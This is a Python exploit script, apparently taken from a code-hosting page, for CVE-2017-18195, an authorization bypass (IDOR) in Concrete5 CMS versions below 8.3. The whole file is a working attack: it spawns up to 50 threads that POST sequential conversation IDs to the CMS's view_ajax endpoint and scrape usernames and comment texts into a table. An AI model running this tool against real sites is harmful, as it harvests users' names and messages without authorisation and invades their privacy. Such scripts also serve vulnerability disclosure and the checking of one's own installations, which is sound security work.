78 lines
No EOL
2.7 KiB
Python
Executable file
78 lines
No EOL
2.7 KiB
Python
Executable file
#!/usr/bin/env python3
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# Concrete5 < 8.3 vulnerable to Authorization Bypass Through User-Controlled Key (IDOR)
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# CVE-2017-18195
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# Chapman (R3naissance) Schleiss
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from queue import Queue
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from threading import Thread
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from bs4 import BeautifulSoup
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from tabulate import tabulate
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import argparse
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import requests
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import logging
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parser = argparse.ArgumentParser(
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description="This script attempts to enumerate all comments from a vulnerable Concrete5 CMS.",
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)
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parser.add_argument('-u','--url', action='store', dest='url', required=True,
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help="This is the url to attack. Typically http://example.com/index.php/tools/required/conversations/view_ajax")
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parser.add_argument('-s','--start', action='store', type=int, dest='start_id',
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help='Where to start enumeration')
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parser.add_argument('-e','--end', action='store', type=int, dest='end_id',
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help='Where to end enumeration')
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parser.add_argument('-v','--verbose', action='store_true', dest='verbose',
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help='This boolean flag will trigger all raw information to stdout')
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args = parser.parse_args()
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if args.verbose:
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logging.basicConfig(level=logging.DEBUG, format='[%(levelname)s] - %(threadName)s - %(message)s')
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else:
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logging.basicConfig(level=logging.INFO, format='[%(levelname)s] %(message)s')
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if args.start_id is None:
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args.start_id = 1
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if args.end_id is None:
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args.end_id = 10
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def crawl(q, result):
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while not q.empty():
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work = q.get()
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logging.debug("Requesting cnvID: " + str(work))
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try:
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response = requests.post(args.url, data={'cnvID': work, 'cID': 1}, timeout=300)
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logging.debug("Requested cnvID: %s [%s]", str(work), str(response.status_code))
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if response.status_code < 400 or response.status_code > 499:
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logging.debug("Parsing html and adding comments to results list")
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soup = BeautifulSoup(response.text, 'html.parser')
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username = soup.find_all('span', {'class': 'ccm-conversation-message-username'})
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message = soup.find_all('div', {'class': 'ccm-conversation-message-body'})
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for i in range(len(username)):
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results.append((work, username[i].text.strip(), message[i].text.strip()))
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logging.info("Completed cnvID: " + str(work))
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except:
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logging.error('Error getting cnvID: ' + str(work))
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q.task_done()
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return True
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q = Queue(maxsize=0)
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enum = range(args.start_id, args.end_id + 1)
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num_theads = min(50, len(enum))
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results = []
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for i in enum:
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q.put(i)
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for i in range(num_theads):
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logging.debug('Starting thread ' + str(i))
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worker = Thread(target=crawl, args=(q, results), name="Thread: " + str(i))
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worker.setDaemon(True)
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worker.start()
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logging.debug('Waiting for final threads to complete')
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q.join()
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logging.info('Enumeration complete')
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print(tabulate(results, headers=('cnvID', 'username', 'message'), tablefmt='grid')) |